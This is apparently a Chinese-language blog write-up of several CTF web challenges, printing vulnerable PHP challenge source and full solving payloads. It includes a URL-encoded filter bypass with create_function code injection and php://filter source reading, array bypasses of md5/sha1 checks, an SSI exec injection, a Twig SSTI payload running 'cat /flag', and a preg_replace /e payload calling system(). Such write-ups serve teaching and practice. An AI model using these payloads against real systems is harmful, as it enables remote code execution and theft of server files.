BJDCTF2020 ezphp 进入页面提示flag不在这里,f12发现真正的页面在1nD3x.php,然后就是源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file (__FILE__ );error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
含盖的知识点非常多
首先就是$_SERVER['QUERY_STRING']
,这是取得url中的?
后面的参数部分,可以看到过滤了非常多命令,但是我们可以知道$_SERVER['QUERY_STRING']
不会对url编码进行解码,而是直接获取get参数的值,所以可以通过url编码绕过这一步,注意必须将字母编码,一般网上的url编码只编码非字母的字符,实质上就是asscii字符转16进制.
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
要求debu传入值以aqua_is_cute
开头并结尾,但是又不能为这个字符串,这里可以想到%0a
截断匹配时识别到%0a自动停止,但是传入的值并不等于此字符串:debu=aqua_is_cute%0a
if(preg_match('/[a-zA-Z]/i', $value))
要求传入的参数中不能有字母,我们知道就算是url编码,由于实质是16进制,所以也会出现字母,但是我们可以通过post方法同时传参,这时候post方法传入的参数会自动覆盖get方法传入的参数,也就绕过了字母
if (file_get_contents($file) !== 'debu_debu_aqua')
,data伪协议的利用,file=data://text/plain,debu_debu_aqua
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
强等于,用数组绕过即可:shana[]=1&passwd[]=2
extract($_GET["flag"]);
传入的flag获取其键名为变量名,键值为变量值。
code变量又被过滤大量命令,$code('', $arg);
是一个典型的create_function
代码注入,所以在传入flag时,进行代码注入,但是注入了很久出现的都是一串乱码:
了解到get_defined_vars()
函数可以拿到已定义的变量
先看看变量有什么:
我们可以看到真正的flag在rea1fl4g.php
,所以此时这个包含的flag中没有flag,那么这时候就可以通过php伪协议进行任意文件读取了,但是过滤了.
号,这时候可以通过无字符取反操作绕过:
1 2 3 <?php $c =urlencode (~'php://filter/convert.base64-encode/resource=rea1fl4g.php' );echo "~$c " ;
即:flag[code]=create_function&flag[var]=}var_dump(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
//作用是注释代码防止干扰
将后续操作中被第一步过滤的字符进行url编码,得到最终payload:
1 2 3 4 GET: 1nD3x.php?file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F );// POST: debu=1&file=1&shana=1&passwd=2&flag[code]=1&flag[arg]=1
得到:
1 PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJCSkR7Q29uZ3JhdHVsYXRpb25zIVkwdV9HZXRfdGhFX3JlYTFmMTExNGd9IjsNCgl1bnNldCgkcmVhMV9mMTExNGcpOw==
base64解码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <head > <meta charset ="utf-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" > <title > Real_Flag In Here!!!</title > </head > </html > <?php echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!"; $f4ke_flag = "BJD{1am_a_fake_f41111g23333}"; $rea1_f1114g = "BJD{Congratulations!Y0u_Get_thE_rea1f1114g}"; unset($rea1_f1114g);
mark git泄露,用githack把源码下载下来,关键代码在index.php中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include 'flag.php' ;$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ;foreach ($_POST as $x => $y ){ $$x = $y ; } foreach ($_GET as $x => $y ){ $$x = $$y ; } foreach ($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } } if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($yds ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); } echo "the flag is: " .$flag ;
很绕,但是主要就是要选定在哪里去输出这个$flag
,很明显,要同时都不exit是不可能的,因为if($_GET['flag'] === $x && $x !== 'flag')
与if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
是矛盾的,所以只能通过某一个的exit去读取flag,通过分析,传入?yds=flag
,这时候$$x=$$y
这个操作实际上就是将$yds赋值为$flag,我们不设置post,那么在后面就会exit($yds)
,这样就输出了$flag
md5 随便输入,抓包,在请求头中发现这是一个md5注入,输入ffifdyop
在md5后为用真式,然后就进入了levels91.php
界面,查看源码:
1 2 3 4 5 6 $a = $GET ['a' ];$b = $_GET ['b' ];if ($a != $b && md5 ($a ) == md5 ($b )){ header ('Location: levell14.php' );
md5弱比较,直接数组绕过一下a[]=1&b[]=2
进入levell14.php
:
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){ echo $flag ; }
md5强比较,还是可以数组绕过。param1[]=1¶m2[]=2
easysearch 扫一下目录,发现交换文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
很明显是一个md5强碰撞,password经过md5后的前6位为6d0bc1
即可,经过爆破可以拿到密码为2020666
,后面钩子什么提示都没有,最后在网络包里发现提示:
登录时这个username就是注入点,这里有个知识点:https://www.zhangfangzhou.cn/apache-ssi-configuration.html
ssi漏洞,这道题并没有限制,直接用exec执行即可,payload:<!--#exec cmd='命令执行'-->
The mystery of ip 首先进入hint,问怎么知道ip的,通过测试可以知道是X-Forwarded-For
,在这里可以直接进行ssti注入
Cookie is so stable 跟上面一样,不过注入点在cookie,payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
zj-advenced 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
伪协议利用:
1 ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
拿到next.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)
,https://xz.aliyun.com/t/2557,payload:`?\S*=${getflag()}&cmd=system (‘cat /flag’);`,在进行比较时,让$re匹配到$str,/e可以把可变变量先执行。